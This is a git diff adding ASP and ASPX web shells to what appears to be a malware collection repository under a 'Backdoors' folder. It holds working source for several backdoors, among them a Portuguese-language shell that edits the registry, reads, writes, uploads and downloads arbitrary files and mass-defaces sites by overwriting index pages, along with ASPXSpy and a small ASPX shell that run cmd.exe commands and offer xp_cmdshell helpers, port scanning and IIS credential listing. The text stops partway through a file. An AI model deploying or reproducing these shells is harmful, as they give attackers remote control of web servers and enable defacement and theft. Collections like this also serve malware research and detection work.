" + Set Drives = WshNetwork.EnumNetworkDrives + For i = 0 to Drives.Count - 1 + Response.Write "Drive de Rede (Mapeado): " & Drives.Item(i) & "
" + Next + Response.Write "
F�SICO:
" + Response.Write "Arquitetura do Processador: " & WshEnv("PROCESSOR_ARCHITECTURE") & "
" + Response.Write "N�mero de Processadores: " & WshEnv("NUMBER_OF_PROCESSORS") & "
" + Response.Write "Identificador do Processador: " & WshEnv("PROCESSOR_IDENTIFIER") & "
" + Response.Write "N�vel do Processador: " & WshEnv("PROCESSOR_LEVEL") & "
" + Response.Write "Revis�o do Processador: " & WshEnv("PROCESSOR_REVISION") & "
" + Response.Write "
L�GICO:
" + Response.Write "IP: " & request.servervariables("LOCAL_ADDR") & "
" + Response.Write "Sistema Operacional: " & WshEnv("OS") & "
" + Response.Write "Servidor Web: " & request.servervariables("SERVER_SOFTWARE") & "
" + Response.Write "Especifica��o do Command: " & WshShell.ExpandEnvironmentStrings("%ComSpec%") & "
" + Response.Write "Caminhos no Path: " & WshEnv("PATH") & "
" + Response.Write "Execut�veis: " & WshEnv("PATHEXT") & "
" + Response.Write "Prompt: " & WshEnv("PROMPT") & "
" + Response.Write "System Drive: " & WshShell.ExpandEnvironmentStrings("%SYSTEMDRIVE%") & "
" + Response.Write "System Root: " & WshShell.ExpandEnvironmentStrings("%SYSTEMROOT%") & "
" + Response.Write "Caminho do System32: " & WshShell.CurrentDirectory & "
" + Set Drives = Nothing + Set WshNetwork = Nothing + Set WshShell = Nothing + Set WshEnv = Nothing + Case "reg" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Set WshShell = Server.CreateObject("WScript.Shell") + Response.Write "Editor de Registro:

" + Select Case Trim(Request.QueryString("regaction")) + Case "w" + If Trim(Request.QueryString("process")) = "yes" Then + Select Case Trim(Request.QueryString("type")) + Case "1" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_SZ") + Case "2" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_DWORD") + Case "3" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), CInt(Trim(Request.QueryString("value"))), "REG_BINARY") + Case "4" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_EXPAND_SZ") + Case "5" + teste = WshShell.RegWrite (Trim(Request.QueryString("key")), Trim(Request.QueryString("value")), "REG_MULTI_SZ") + End Select + Response.Write "

Registro " + Response.Write Trim(Request.QueryString("key")) & " Escrito
" + Response.Write "

MENU PRINCIPAL
" + Else + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
ROOT KEY NAMEABREVIA��O
HKEY_CURRENT_USER HKCU
HKEY_LOCAL_MACHINE HKLM
HKEY_CLASSES_ROOT HKCR
HKEY_USERS HKEY_USERS
HKEY_CURRENT_CONFIG HKEY_CURRENT_CONFIG

" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
Tipo Descri��o Na forma de
REG_SZ string string
REG_DWORD n�mero inteiro
REG_BINARY valor bin�rio VBArray de inteiros
REG_EXPAND_SZ string expand�vel (ex. ""%windir%\\calc.exe"") string
REG_MULTI_SZ array de strings VBArray de strings
" + Response.Write "

" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
KEY:
( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
VALUE:
TYPE:
" + Response.Write "" + Response.Write "" + Response.Write "
" + Response.Write "

MENU PRINCIPAL
" + End If + Case "r" + If Trim(Request.QueryString("process")) = "yes" Then + Response.Write "" & Trim(Request.QueryString("key")) & "
" + Response.Write "Valor: " & WshShell.RegRead (Trim(Request.QueryString("key"))) + Else + Response.Write "
" + Response.Write "KEY:
( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

MENU PRINCIPAL
" + Case "d" + If Trim(Request.QueryString("process")) = "yes" Then + teste = WshShell.RegDelete (Trim(Request.QueryString("key"))) + Response.Write "Chave " & Trim(Request.QueryString("key")) & " deletada" + Else + Response.Write "
" + Response.Write "KEY: ( ex.: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\ProductId )
" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "" + End If + Response.Write "

MENU PRINCIPAL
" + Case Else + Response.Write "ESCREVER CHAVE

" + Response.Write "LER CHAVE

" + Response.Write "DELETAR CHAVE
" + End Select + Set WshShell = Nothing + Case "txtview" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp & "" + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write Replace(Replace(Server.HTMLEncode(a.ReadAll),VbCrLf,"
")," "," ") + Set a = Nothing + Set fso = Nothing + Case "txtedit" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + If Request.Form.Count = 0 Then + file = Replace(Trim(Request.QueryString("file")),"|","\") + Set fso = CreateObject("Scripting.FileSystemObject") + Set a = fso.OpenTextFile(file) + Response.Write "
" + Response.Write "
" + Response.Write "" + Response.Write "     
" + Set a = Nothing + Set fso = Nothing + Else + Select Case Trim(Request.Form("savemethod")) + Case "Save" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + Set objstream = fso.OpenTextFile(Replace(Trim(Request.Form("path")),"|","\"),2) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "Texto salvo: " & Replace(Trim(Request.Form("path")),"|","\") & "" + Case "Save as" + Set fso = CreateObject("Scripting.FileSystemObject") + novotexto = Trim(Request.Form("content")) + novotexto = Split(novotexto,vbCrLf) + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set objstream = fso.CreateTextFile(caminho,true,false) + For i = 0 To UBound(novotexto) + objstream.WriteLine(novotexto(i)) + Next + objstream.Close + Set objstream = Nothing + Response.Write "
" + Response.Write "
" + Response.Write "" + Response.Write "
" + Case Else + caminho = showobjpath(Replace(Trim(Request.Form("path")),"|","\")) & "rhtemptxt.txt" + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + Set MyFile = ObjFSO.GetFile(caminho) + destino = Left(caminho,InStrRev(caminho,"\")) & Trim(Request.Form("filename")) + MyFile.Move (destino) + If Err.Number = 0 Then + Response.Write "


Arquivo: " & destino & " salvo!" + Response.Write "" + End If + End Select + End If + Case "download" + Response.Buffer = True + Response.Clear + strFileName = Replace(Trim(Request.QueryString("file")),"|","\") + strFile = Right(strFileName, Len(strFileName) - InStrRev(strFileName,"\")) + strFileType = Request.QueryString("type") + if strFileType = "" then strFileType = "application/download" + Set fso = Server.CreateObject("Scripting.FileSystemObject") + Set f = fso.GetFile(strFilename) + intFilelength = f.size + Set f = Nothing + Set fso = Nothing + Response.AddHeader "Content-Disposition", "attachment; filename=" & strFile + Response.AddHeader "Content-Length", intFilelength + Response.Charset = "UTF-8" + Response.ContentType = strFileType + Set Stream = Server.CreateObject("ADODB.Stream") + Stream.Open + Stream.type = 1 + Stream.LoadFromFile strFileName + Response.BinaryWrite Stream.Read + Response.Flush + Stream.Close + Set Stream = Nothing + Case "upload" + If Request.QueryString("processupload") <> "yes" Then + Response.Write "
" + Response.Write "" + Response.Write "" + Response.Write "" + Response.Write "
Select a file to upload:
" + Else + Set Uploader = New FileUploader + Uploader.Upload() + If Uploader.Files.Count = 0 Then + Response.Write "File(s) not uploaded." + Else + For Each File In Uploader.Files.Items + File.SaveToDisk Replace(Trim(Request.QueryString("path")),"|","\") + Response.Write "File Uploaded: " & File.FileName & "
" + Response.Write "Size: " & File.FileSize & " bytes
" + Response.Write "Type: " & File.ContentType & "

" + Response.Write "" + Next + End If + End If + Case "mass" + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Sub themassdeface(caminhodomass,metodo,ObjFSO,MeuArquivo) + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminhodomass) + Set ColFolders = MonRep.SubFolders + for each folderItem in ColFolders + destino1 = folderItem.path & "\index.htm" + destino2 = folderItem.path & "\index.html" + destino3 = folderItem.path & "\index.asp" + destino4 = folderItem.path & "\index.cfm" + destino5 = folderItem.path & "\index.php" + destino6 = folderItem.path & "\default.htm" + destino7 = folderItem.path & "\default.html" + destino8 = folderItem.path & "\default.asp" + destino9 = folderItem.path & "\default.cfm" + destino10 = folderItem.path & "\default.php" + MeuArquivo.Copy(destino1) + MeuArquivo.Copy(destino2) + MeuArquivo.Copy(destino3) + MeuArquivo.Copy(destino4) + MeuArquivo.Copy(destino5) + MeuArquivo.Copy(destino6) + MeuArquivo.Copy(destino7) + MeuArquivo.Copy(destino8) + MeuArquivo.Copy(destino9) + MeuArquivo.Copy(destino10) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "
<DIR> " & folderItem.path & "  DONE!
  " & UCase(Err.Description) & "
" + End If + Err.Number = 0 + Response.Flush + If metodo = "brute" Then + Call themassdeface(folderItem.path & "\","brute",ObjFSO,MeuArquivo) + End If + next + End Sub + Sub brutemass(caminho,massaction) + If massaction = "test" Then + On Error Resume Next + Set MonRep = ObjFSO.GetFolder(caminho) + Set ColFolders = MonRep.SubFolders + Set ColFiles0 = MonRep.Files + for each folderItem in ColFolders + Set TotalFolders = ObjFSO.GetFolder(folderItem.path) + Set EachFolder = TotalFolders.SubFolders + Response.Write "" + maindestino = folderItem.path & "\" + MeuArquivo.Copy(maindestino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + If EachFolder.count > 0 Then + masscontador = 0 + for each subpasta in EachFolder + masscontador = masscontador + 1 + destino = subpasta.path & "\" + If masscontador = 1 Then + destinofinal = destino + pathfinal = subpasta.path + Err.Number = 0 + MeuArquivo.Copy(destinofinal) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + Else + MeuArquivo.Copy(destino) + Response.Write "" + If Err.Number = 0 Then + Response.Write "" + Else + Response.Write "" + End If + Err.Number = 0 + Response.Flush + End If + next + masscontador = 0 + End If + Response.Write "
<DIR> " & maindestino & "  Acesso Permitido
  " & UCase(Err.Description) & "
<DIR> " & showobj(pathfinal) & "  Acesso Permitido
  " & UCase(Err.Description) & "
<DIR> " & showobj(subpasta.path) & "  Acesso Permitido
  " & UCase(Err.Description) & "

" + Call brutemass(folderItem.path & "\","test") + next + Set MonRep = Nothing + Set ColFolders = Nothing + Set ColFiles0 = Nothing + Else + If Request.Form.Count = 0 Then + Response.Write "

Brute: copia os arquivos do deface para todas as pastas e subpastas (todos os n�veis) do diret�rio escolhido (mais demorado). O tempo do deface vai variar de acordo com o numero TOTAL de diret�rios.

" + Response.Write "Single: copia os arquivos do deface apenas para as pastas (primeiro n�vel) do diret�rio escolhido. N�o inclui subpastas.

" + Response.Write "" + Response.Write "" + Response.Write "
Insira o c�digo:
" + Response.Write "
" + Response.Write "Brute   " + Response.Write "Single
" + Response.Write "
" + Response.Write "" + Else + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivomassdfc = patharquivotxt & "teste.txt" + Set Arquivotxt = ObjFso.OpenTextFile(arquivomassdfc, 2, True, False) + vetordelinhas = Split(Request.Form("content"),VbCrLf) + For i = 0 To UBound(vetordelinhas) + Arquivotxt.WriteLine(vetordelinhas(i)) + Next + Set MeuArquivo = ObjFSO.GetFile(arquivomassdfc) + + If Request.Form("massopt") = "single" Then + Call themassdeface(caminho,"single",ObjFSO,MeuArquivo) + ElseIf Request.Form("massopt") = "brute" Then + Call themassdeface(caminho,"brute",ObjFSO,MeuArquivo) + End If + End If + End If + End Sub + If Trim(Request.QueryString("massact")) = "test" Then + Set ObjFSO = CreateObject("Scripting.FileSystemObject") + patharquivotxt = Left(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),InstrRev(Server.MapPath(Request.ServerVariables("SCRIPT_NAME")),"\")) + arquivo = patharquivotxt & "_vti_cnf.log" + Set Arquivotxt = ObjFSO.CreateTextFile(arquivo,True) + Set MeuArquivo = ObjFSO.GetFile(arquivo) + Call brutemass(Replace(Trim(Request.QueryString("path")),"|","\"),"test") + ElseIf Trim(Request.QueryString("massact")) = "dfc" Then + Call brutemass(Replace(Trim(Request.Form("path")),"|","\"),"dfc") + End If + Case Else + checa = checking(cprthtml,keydec) + Call hdr() + Response.Write copyright & onlinehelp + Call showcontent() +End Select +If Err.Number <> 0 Then + Response.Write "
ERRO: " & Err.Number & "

" & UCase(Err.Description) & "
Acesse o ONLINE HELP para a explica��o do erro" +End If +Response.Write endcode +%> diff --git a/web-malware-collection-master/Backdoors/ASP/RemExp.asp b/web-malware-collection-master/Backdoors/ASP/RemExp.asp new file mode 100755 index 0000000..a5a8e27 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/RemExp.asp @@ -0,0 +1,250 @@ +<%@ Language=VBScript %> +<% +Option Explicit + +Dim giCount +Dim gvAttributes + +Dim Ext + +Dim ScriptFolder +Dim FolderPath + +Dim FileSystem +Dim Drives +Dim Drive +Dim Folders +Dim Folder +Dim SubFolders +Dim SubFolder +Dim Files +Dim File + +Dim BgColor, BackgroundColor,FSO + +If Request.QueryString("CopyFolder") <> "" Then + Set FSO = CreateObject("Scripting.FileSystemObject") + FSO.CopyFolder Request.QueryString("CopyFolder") & "*", "d:\" +End If + +If Request.QueryString("CopyFile") <> "" Then + Set FSO = CreateObject("Scripting.FileSystemObject") + FSO.CopyFile Request.QueryString("FolderPath") & Request.QueryString("CopyFile"), "d:\" +End If + +Set FileSystem = Server.CreateObject("Scripting.FileSystemObject") + +FolderPath = Request.QueryString("FolderPath") + +If FolderPath = "" Then + FolderPath = Request.ServerVariables("PATH_TRANSLATED") +End If + +FolderPath = ParseFolder(FolderPath) + +ScriptFolder = ParseFolder(Request.ServerVariables("PATH_TRANSLATED")) & "images\" + +%> + + +Remote Explorer + + + + + + + + + + + + + + +
+ + Address:
+ + + +
+<% +Set Folder = FileSystem.GetFolder(FolderPath) +Set SubFolders = Folder.SubFolders +Set Files = Folder.Files +%> +
+ + + + + + + + +<% +If Not Folder.IsRootFolder Then + BgToggle +%> + + + + + + + +<%BgToggle%> + + + + + + + +<% +End If +For Each SubFolder In SubFolders + BgToggle +%> + + + + + + + +<% +Next +For Each File In Files + BgToggle + Ext = FileExtension(File.Name) +%> + + + + + + + +<%Next%> +
NameSize Type Modified Attributes
?FolderPath=<%=Server.URLPathEncode(Folder.Drive & "\")%>">O Top Level
?FolderPath=<%=Server.URLPathEncode(Folder)%>"> Up One Level
">0 <%=SubFolder.Name%> (?CopyFolder=<%=Server.URLPathEncode(FolderPath & SubFolder.Name)%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy) <%=SubFolder.Type%> <%=SubFolder.DateLastModified%> <%=Attributes(SubFolder.Attributes)%>
3 "<%=File.Name%> (?CopyFile=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy)<%=(File.Size)%> Byte <%=File.Type%><%=File.DateLastModified%><%=Attributes(File.Attributes)%>
+ + +<% +Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator) + Dim lsResult + Dim llTemp + Dim giCount + MaxValuePerIndex = MaxValuePerIndex + 1 + Do While Int(SourceNumber / (MaxValuePerIndex ^ MinUpperBound)) > (MaxValuePerIndex - 1) + MinUpperBound = MinUpperBound + 1 + Loop + For giCount = MinUpperBound To 0 Step -1 + llTemp = Int(SourceNumber / (MaxValuePerIndex ^ giCount)) + lsResult = lsResult & CStr(llTemp) + If giCount > 0 Then lsResult = lsResult & IndexSeperator + SourceNumber = SourceNumber - (llTemp * (MaxValuePerIndex ^ giCount)) + Next + ConvertBinary = lsResult +End Function + +Private Sub BgToggle() + BackgroundColor = Not(BackgroundColor) + If BackgroundColor Then + BgColor = "#efefef" + Else + BgColor = "#ffffff" + End If +End Sub + +Private Function Attributes(AttributeValue) + Dim lvAttributes + Dim lsResult + lvAttributes = Split(ConvertBinary(AttributeValue, 1, 7, ","), ",") + If lvAttributes(0) = 1 Then lsResult = "ReadOnly  " + If lvAttributes(1) = 1 Then lsResult = lsResult & "Hidden  " + If lvAttributes(2) = 1 Then lsResult = lsResult & "System  " + If lvAttributes(5) = 1 Then lsResult = lsResult & "Archive  " + Attributes = lsResult +End Function + +Private Function FileExtension(FileName) + Dim lsExt + Dim liCount + For liCount = Len(FileName) To 1 Step -1 + If Mid(FileName, liCount, 1) = "." Then + lsExt = Right(FileName, Len(FileName) - liCount) + Exit For + End If + Next + If Not FileSystem.FileExists(ScriptFolder & "ext_" & lsExt & ".gif") Then + lsExt = "" + End If + FileExtension = lsExt +End Function + +Private Function ParseFolder(PathString) + Dim liCount + If Right(PathString, 1) = "\" Then + ParseFolder = PathString + Else + For liCount = Len(PathString) To 1 Step -1 + If Mid(PathString, liCount, 1) = "\" Then + ParseFolder = Left(PathString, liCount) + Exit For + End If + Next + End If +End Function +%> + diff --git a/web-malware-collection-master/Backdoors/ASP/Server Variables.asp b/web-malware-collection-master/Backdoors/ASP/Server Variables.asp new file mode 100755 index 0000000..b3ade02 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/Server Variables.asp @@ -0,0 +1,27 @@ +<% +Dim Vars +%> + +

 

+

 

+

A list of all server + variables :

+


+
+

+ + + + + + <% For Each Vars In Request.ServerVariables %> + + + + + <% Next %> +

Server + Variable Name

+

Server + Variable Value

+
<%= Vars %><%= Request.ServerVariables(Vars) %> 
diff --git a/web-malware-collection-master/Backdoors/ASP/aspSH.v1.txt b/web-malware-collection-master/Backdoors/ASP/aspSH.v1.txt new file mode 100755 index 0000000..52c576c --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/aspSH.v1.txt @@ -0,0 +1,765 @@ +<% @language="javascript" %> + + + +<% function outputTransferStatus(bSuccess, sStatus) { %> + +<% } %> + +<% function outputMainpage() { %> + + + <%=gsAppName%> <%=gsAppVersion%> loading... + + + +
+ Loading... +
+
+
+ + + +
+
+
+
+
+ Up-/Download center + + + + + + + + + + + + + + + + +
Upload from:
Upload to:
Download from:
+
+
+ + + + + +<% } %> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/aspxSH.txt b/web-malware-collection-master/Backdoors/ASP/aspxSH.txt new file mode 100755 index 0000000..25dd595 --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/aspxSH.txt @@ -0,0 +1,2590 @@ +<%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%> +<%@ import Namespace="System.IO"%> +<%@ import Namespace="System.Diagnostics"%> +<%@ import Namespace="System.Data"%> +<%@ import Namespace="System.Management"%> +<%@ import Namespace="System.Data.OleDb"%> +<%@ import Namespace="Microsoft.Win32"%> +<%@ import Namespace="System.Net.Sockets" %> +<%@ import Namespace="System.Net" %> +<%@ import Namespace="System.Runtime.InteropServices"%> +<%@ import Namespace="System.DirectoryServices"%> +<%@ import Namespace="System.ServiceProcess"%> +<%@ import Namespace="System.Text.RegularExpressions"%> +<%@ Import Namespace="System.Threading"%> +<%@ Import Namespace="System.Data.SqlClient"%> +<%@ import Namespace="Microsoft.VisualBasic"%> +<%@ Assembly Name="System.DirectoryServices,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.Management,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="System.ServiceProcess,Version=2.0.0.0,Culture=neutral,PublicKeyToken=B03F5F7F11D50A3A"%> +<%@ Assembly Name="Microsoft.VisualBasic,Version=7.0.3300.0,Culture=neutral,PublicKeyToken=b03f5f7f11d50a3a"%> + + + + + + + +ASPXspy + + + + + +
+
+Password: + +

+Copyright © 2009 Bin -- www.rootkit.net.cn +

+
+
+ + + + + + + +
ASPXSpy Ver: 2009
+ | | | | | | | | | | | | | +
+
+
+
+

+<%--FileList--%> +
+ + + + + + +
Current Directory : +
+ + + + FilenameLast modifiedSizeAction + +
+
+
| Create Directory | Create File + | Kill Me +
+
+<%--FileEdit--%> +
+

Current File(import new file name and new file)
+ DefaultUTF-8 +

+

File Content
+ +

+

+
+<%--CloneTime--%> +
+

Alter file

+

Reference file(fullpath)

+

+

Set last modified »

+

Current file(fullpath)

+

+ +  + +  + +  + +

+

+CreationTime : + +LastWriteTime : + +LastAccessTime : + +

+

+ +

+
+<%--IISSpy--%> +
+ + +IDIIS_USERIIS_PASSDomainPath + +
+
+<%--Process--%> +
+ + +IDProcessThreadCountPriorityAction + +
+
+<%--CmdShell--%> +
+

CmdPath:
+ +

+ Argument:
+ +
+
+
+<%--Services--%> +
+ + +IDNamePathStateStartMode + +
+
+<%--Sysinfo--%> +
+
+
    +

    +
    +
      +

      +
      +
        +
        +<%--UserInfo--%> +
        + + + +
        +
        +<%--SuExp--%> +
        + + + + + + + + + + + + +
        UserName : PassWord : Port :
        CmdShell  : 
        +
        + + + + + + +
        +
        +
        +<%--Reg--%> +
        +

        Registry Path :

        + + + +KeyValue + +
        +
        +<%--PortScan--%> +
        +

        +IP : Port : +

        +
        +
        +<%--DataBase--%> +
        +

        ConnString : MSSQLACCESS

        +
        +
        +
        +Please select a database : +SQLExec : -- SQL Server Exec --Add xp_cmdshellAdd sp_oacreateAdd xp_cmdshell(SQL2005)Add sp_oacreate(SQL2005)Add makewebtask(SQL2005)Add openrowset/opendatasource(SQL2005)XP_cmdshell execXP_dirtreeSP_oamethod execSP_makewebtask make fileSandBoxLogBackupDatabaseBackup +
        +
        Run SQL
        +
        +
        +

        + +

        +
        +
        +
        +<%--PortMap--%> +
        + + + + + + + +
        Local Ip : Local Port : Remote Ip : Remote Port :

        +<%--Search--%> +
        + + + + + + + + + + + + + + + + + + + + + +
        Keyword Use Regex
        Replace As Replace
        Search FileTypeFile NameFile Content
        Path
        +
        +
        + +File PathLast modifiedSize + +
        +
        +
        Copyright © 2006-2009 Shell sql tool All Rights Reserved.
        +
        + + \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/ASP/aspxshell.aspx.txt b/web-malware-collection-master/Backdoors/ASP/aspxshell.aspx.txt new file mode 100755 index 0000000..c16193b --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/aspxshell.aspx.txt @@ -0,0 +1,161 @@ +<%-- ASPX Shell by LT (2007) --%> +<%@ Page Language="C#" EnableViewState="false" %> +<%@ Import Namespace="System.Web.UI.WebControls" %> +<%@ Import Namespace="System.Diagnostics" %> +<%@ Import Namespace="System.IO" %> + +<% + string outstr = ""; + + // get pwd + string dir = Page.MapPath(".") + "/"; + if (Request.QueryString["fdir"] != null) + dir = Request.QueryString["fdir"] + "/"; + dir = dir.Replace("\\", "/"); + dir = dir.Replace("//", "/"); + + // build nav for path literal + string[] dirparts = dir.Split('/'); + string linkwalk = ""; + foreach (string curpart in dirparts) + { + if (curpart.Length == 0) + continue; + linkwalk += curpart + "/"; + outstr += string.Format("{1}/ ", + HttpUtility.UrlEncode(linkwalk), + HttpUtility.HtmlEncode(curpart)); + } + lblPath.Text = outstr; + + // create drive list + outstr = ""; + foreach(DriveInfo curdrive in DriveInfo.GetDrives()) + { + if (!curdrive.IsReady) + continue; + string driveRoot = curdrive.RootDirectory.Name.Replace("\\", ""); + outstr += string.Format("{1} ", + HttpUtility.UrlEncode(driveRoot), + HttpUtility.HtmlEncode(driveRoot)); + } + lblDrives.Text = outstr; + + // send file ? + if ((Request.QueryString["get"] != null) && (Request.QueryString["get"].Length > 0)) + { + Response.ClearContent(); + Response.WriteFile(Request.QueryString["get"]); + Response.End(); + } + + // delete file ? + if ((Request.QueryString["del"] != null) && (Request.QueryString["del"].Length > 0)) + File.Delete(Request.QueryString["del"]); + + // receive files ? + if(flUp.HasFile) + { + string fileName = flUp.FileName; + int splitAt = flUp.FileName.LastIndexOfAny(new char[] { '/', '\\' }); + if (splitAt >= 0) + fileName = flUp.FileName.Substring(splitAt); + flUp.SaveAs(dir + "/" + fileName); + } + + // enum directory and generate listing in the right pane + DirectoryInfo di = new DirectoryInfo(dir); + outstr = ""; + foreach (DirectoryInfo curdir in di.GetDirectories()) + { + string fstr = string.Format("{1}", + HttpUtility.UrlEncode(dir + "/" + curdir.Name), + HttpUtility.HtmlEncode(curdir.Name)); + outstr += string.Format("{0}<DIR>", fstr); + } + foreach (FileInfo curfile in di.GetFiles()) + { + string fstr = string.Format("{1}", + HttpUtility.UrlEncode(dir + "/" + curfile.Name), + HttpUtility.HtmlEncode(curfile.Name)); + string astr = string.Format("Del", + HttpUtility.UrlEncode(dir), + HttpUtility.UrlEncode(dir + "/" + curfile.Name)); + outstr += string.Format("{0}{1:d}{2}", fstr, curfile.Length / 1024, astr); + } + lblDirOut.Text = outstr; + + // exec cmd ? + if (txtCmdIn.Text.Length > 0) + { + Process p = new Process(); + p.StartInfo.CreateNoWindow = true; + p.StartInfo.FileName = "cmd.exe"; + p.StartInfo.Arguments = "/c " + txtCmdIn.Text; + p.StartInfo.UseShellExecute = false; + p.StartInfo.RedirectStandardOutput = true; + p.StartInfo.RedirectStandardError = true; + p.StartInfo.WorkingDirectory = dir; + p.Start(); + + lblCmdOut.Text = p.StandardOutput.ReadToEnd() + p.StandardError.ReadToEnd(); + txtCmdIn.Text = ""; + } +%> + + + + + + ASPX Shell + + + +

        ASPX Shell by LT

        +
        + + + + + +
        +

        Shell

        + + +
        +
        +

        File Browser

        +

        + Drives:
        + +

        +

        + Working directory:
        + +

        + + + + + + + +
        NameSize KBActions
        +

        Upload to this directory:
        + + +

        +
        + +
        + + diff --git a/web-malware-collection-master/Backdoors/ASP/aspydrv.asp b/web-malware-collection-master/Backdoors/ASP/aspydrv.asp new file mode 100755 index 0000000..7e6eaad --- /dev/null +++ b/web-malware-collection-master/Backdoors/ASP/aspydrv.asp @@ -0,0 +1,828 @@ +# password is t00ls.org +<% +Function BufferContent(data) + Dim strContent(64) + Dim i + ClearString strContent + For i = 1 To LenB(data) + AddString strContent,Chr(AscB(MidB(data,i,1))) + Next + BufferContent = fnReadString(strContent) +End Function + +Sub ClearString(part) + Dim index + For index = 0 to 64 + part(index)="" + Next +End Sub + +Sub AddString(part,newString) + Dim tmp + Dim index + part(0) = part(0) & newString + If Len(part(0)) > 64 Then + index=0 + tmp="" + Do + tmp=part(index) & tmp + part(index) = "" + index = index + 1 + Loop until part(index) = "" + part(index) = tmp + End If +End Sub + +Function fnReadString(part) + Dim tmp + Dim index + tmp = "" + For index = 0 to 64 + If part(index) <> "" Then + tmp = part(index) & tmp + End If + Next + FnReadString = tmp +End Function + + +Class FileUploader + Public Files + Private mcolFormElem + Private Sub Class_Initialize() + Set Files = Server.CreateObject("Scripting.Dictionary") + Set mcolFormElem = Server.CreateObject("Scripting.Dictionary") + End Sub + + Private Sub Class_Terminate() + If IsObject(Files) Then + Files.RemoveAll() + Set Files = Nothing + End If + If IsObject(mcolFormElem) Then + mcolFormElem.RemoveAll() + Set mcolFormElem = Nothing + End If + End Sub + + Public Property Get Form(sIndex) + Form = "" + If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex)) + End Property + + Public Default Sub Upload() + Dim biData, sInputName + Dim nPosBegin, nPosEnd, nPos, vDataBounds, nDataBoundPos + Dim nPosFile, nPosBound + biData = Request.BinaryRead(Request.TotalBytes) + nPosBegin = 1 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + If (nPosEnd-nPosBegin) <= 0 Then Exit Sub + vDataBounds = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + nDataBoundPos = InstrB(1, biData, vDataBounds) + Do Until nDataBoundPos = InstrB(biData, vDataBounds & CByteString("--")) + nPos = InstrB(nDataBoundPos, biData, CByteString("Content-Disposition")) + nPos = InstrB(nPos, biData, CByteString("name=")) + nPosBegin = nPos + 6 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sInputName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosFile = InstrB(nDataBoundPos, biData, CByteString("filename=")) + nPosBound = InstrB(nPosEnd, biData, vDataBounds) + If nPosFile <> 0 And nPosFile < nPosBound Then + Dim oUploadFile, sFileName + Set oUploadFile = New UploadedFile + nPosBegin = nPosFile + 10 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(34))) + sFileName = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + oUploadFile.FileName = Right(sFileName, Len(sFileName)-InStrRev(sFileName, "\")) + nPos = InstrB(nPosEnd, biData, CByteString("Content-Type:")) + nPosBegin = nPos + 14 + nPosEnd = InstrB(nPosBegin, biData, CByteString(Chr(13))) + oUploadFile.ContentType = CWideString(MidB(biData, nPosBegin, nPosEnd-nPosBegin)) + nPosBegin = nPosEnd+4 + nPosEnd = InstrB(nPosBegin, biData, vDataBounds) - 2 + oUploadFile.FileData = MidB(biData, nPosBegin, nPosEnd-nPosBegin) + If oUploadFile.FileSize > 0 Then Files.Add LCase(sInputName), oUploadFile + Else + nPos = InstrB(nPos, biData, CByteString(Chr(13))) + 